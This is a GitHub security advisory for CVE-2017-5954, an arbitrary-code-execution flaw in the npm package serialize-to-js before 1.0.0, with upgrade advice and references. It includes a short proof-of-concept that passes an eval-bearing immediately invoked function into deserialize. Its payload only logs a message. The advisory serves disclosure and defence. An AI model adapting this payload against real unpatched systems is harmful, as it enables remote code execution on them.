GitHub Advisoryadvisory · npm
GHSA-mm62-wxc8-cf7m Code Execution Through IIFE in serialize-to-js
CRITICAL
Official page ↗
- Aliases
- CVE-2017-5954
- Ecosystem
- npm
- Packages
- serialize-to-js
- Severity
- Critical
- CVSS vector
- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-502
- Reviewed
- 2020-06-16
Affected packages
• npm serialize-to-js: < 1.0.0 → fixed in 1.0.0
Description
Affected versions of `serialize-to-js` may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE).
Proof of Concept
```js
var payload = "{e: (function(){ eval('console.log(`exploited`)') })() }"
var serialize = require('serialize-to-js');
serialize.deserialize(payload);
```
Recommendation
Update to version 1.0.0, or later, and review this disclaimer from the author.
Related
Alias · CVE (1)
- CVE-2017-5954 An issue was discovered in the serialize-to-js package 0.5.0 for Node.js. vulnerability
Weakness · CWE (1)
- CWE-502 Deserialization of Untrusted Data weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2017-5954 advisory
- https://github.com/commenthol/serialize-to-js/issues/1 web
- https://github.com/commenthol/serialize-to-js/commit/1cd433960e5b9db4c0b537afb28366198a319429 web
- https://github.com/advisories/GHSA-mm62-wxc8-cf7m advisory
- https://github.com/commenthol/serialize-to-js package
- https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution web
- https://www.npmjs.com/advisories/313 web
- https://www.npmjs.com/package/serialize-to-js#deserialize web
- http://www.securityfocus.com/bid/96223 web